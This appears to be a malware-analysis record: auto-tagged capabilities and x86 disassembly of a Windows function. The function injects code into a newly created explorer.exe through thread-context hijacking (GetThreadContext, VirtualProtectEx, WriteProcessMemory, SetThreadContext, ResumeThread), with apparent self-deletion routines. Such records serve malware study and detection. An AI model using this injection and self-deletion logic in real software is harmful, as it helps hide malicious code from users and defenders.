Function at 0x40d1fe
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Get common file path
Move file
Resume thread
Set current directory
Terminate process

Disassembly:
push ebp
lea ebp, [esp - 0x11ac]
mov eax, 0x11ac
call fcn.004688f0
push 0xffffffffffffffff
push 0x4a092b
mov eax, dword fs:[0]
push eax
sub esp, 0x6c
mov eax, dword [0x4db020]
xor eax, ebp
mov dword [ebp + 0x11a8], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor edi, edi
inc edi
push edi
lea eax, [ebp - 0xd]
push eax
lea ecx, [ebp + 0xf6c]
call fcn.00401f10
xor esi, esi
mov dword [ebp - 4], esi
mov ebx, 0x104
push ebx
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp + 0xf6c]
call fcn.0040ac18
mov byte [ebp - 4], 1
mov ecx, dword [eax]
mov byte [eax + 4], 1
call fcn.00407812
mov eax, dword [eax]
push ebx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x30]
call fcn.0040a4ef
push esi
push esi
lea eax, [ebp + 0xf04]
push eax
lea ecx, [ebp + 0xf6c]
call fcn.0040a15b
mov byte [ebp - 4], 2
push 0xc
sub esp, 0x34
mov ecx, esp
mov dword [ebp - 0x24], esp
push edi
lea eax, [ebp + 0xf6c]
push eax
call fcn.00408fa4
mov byte [ebp - 4], 3
mov byte [ebp - 4], 2
call fcn.0044f09b
add esp, 0x38
test al, al
jne 0x40d349
cmp byte [ebp + 0x11b4], al
je 0x40d304
push 0xc
sub esp, 0x34
mov ecx, esp
mov dword [ebp - 0x24], esp
push edi
lea eax, [ebp + 0xf04]
push eax
call fcn.00408fa4
mov byte [ebp - 4], 4
mov byte [ebp - 4], 2
call fcn.0044f09b
add esp, 0x38
test al, al
jne 0x40d349
mov bl, 1
mov byte [ebp - 4], 0
lea ecx, [ebp + 0xf04]
call fcn.00401660
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0xf6c]
call fcn.00401660
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x11a8]
xor ecx, ebp
call fcn.00467491
add ebp, 0x11ac
leave
ret
push edi
lea eax, [ebp - 0xd]
push eax
lea ecx, [ebp + 0xf38]
call fcn.00401f10
mov byte [ebp - 4], 5
push ebx
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp + 0xf38]
call fcn.0040ac18
mov byte [ebp - 4], 6
mov ecx, dword [eax]
mov byte [eax + 4], 1
call fcn.00407812
mov eax, dword [eax]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x30]
call fcn.0040a4ef
cmp dword [ebp + 0xf50], esi
je 0x40d3b6
cmp dword [ebp + 0xf54], 8
mov eax, dword [ebp + 0xf40]
jae 0x40d3af
lea eax, [ebp + 0xf40]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
push 6
pop ecx
mov esi, str.explorer.exe
lea edi, [ebp + 0xfa0]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0x1ee
xor esi, esi
lea eax, [ebp + 0xfba]
push esi
push eax
call fcn.00468830
push 0x44
pop edi
push 0x40
lea eax, [ebp - 0x74]
push esi
push eax
mov dword [ebp - 0x78], edi
call fcn.00468830
add esp, 0x18
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x78]
push eax
push esi
push esi
push edi
push esi
push esi
push esi
lea eax, [ebp + 0xfa0]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x40d427
mov byte [ebp - 4], 2
lea ecx, [ebp + 0xf38]
call fcn.00401660
xor bl, bl
jmp 0x40d306
push 0xc31
lea eax, [ebp + 4]
push esi
push eax
mov dword [ebp], esi
call fcn.00468830
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp + 0x808], eax
mov eax, dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp + 0x810], eax
mov eax, dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov dword [ebp + 0x814], eax
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp + 0x818], eax
mov eax, dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp + 0x81c], eax
mov al, byte [ebp + 0x11b4]
add esp, 0xc
cmp dword [ebp + 0xf88], 8
mov byte [ebp + 0x824], al
mov eax, dword [ebp + 0xf74]
mov dword [ebp + 0x80c], edi
jae 0x40d4a0
lea eax, [ebp + 0xf74]
push ebx
push eax
lea eax, [ebp + 0x825]
push eax
call fcn.00468c85
add esp, 0xc
cmp byte [ebp + 0x11b4], 0
je 0x40d4e0
cmp dword [ebp + 0xf20], 8
mov eax, dword [ebp + 0xf0c]
jae 0x40d4cf
lea eax, [ebp + 0xf0c]
push ebx
push eax
lea eax, [ebp + 0xa2d]
push eax
call fcn.00468c85
add esp, 0xc
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push esi
push esi
push esi
lea eax, [ebp + 0x804]
push eax
push dword [ebp - 0x20]
call ebx
push eax
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov ecx, 0x40cd31
mov eax, 0x40cc9c
sub ecx, eax
cmp ecx, 0x800
jbe 0x40d54b
push esi
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [ebp - 0x20]
call edi
push dword [ebp - 0x1c]
call edi
cmp dword [ebp + 0xf88], 8
mov eax, dword [ebp + 0xf74]
jae 0x40d53c
lea eax, [ebp + 0xf74]
push 4
push esi
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
jmp 0x40d411
push ecx
push eax
lea eax, [ebp + 4]
push eax
call fcn.00468920
add esp, 0xc
lea eax, [ebp + 0xc38]
push eax
push dword [ebp - 0x1c]
mov dword [ebp + 0xc38], 0x10003
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov esi, dword [ebp + 0xcfc]
add esi, 0xfffff3cb
and esi, 0xffffffe0
lea eax, [esi - 4]
mov dword [ebp + 0xcfc], eax
lea eax, [esi + 4]
mov dword [ebp + 0xcf0], eax
lea eax, [ebp - 0x34]
push eax
push 0x40
mov ebx, 0xc35
push ebx
push esi
push dword [ebp - 0x20]
mov dword [ebp], esi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push 0
push ebx
lea eax, [ebp]
push eax
push esi
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push ebx
push esi
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea eax, [ebp + 0xc38]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push dword [ebp - 0x1c]
call edi
push dword [ebp - 0x20]
call edi
mov byte [ebp - 4], 2
lea ecx, [ebp + 0xf38]
call fcn.00401660
jmp 0x40d304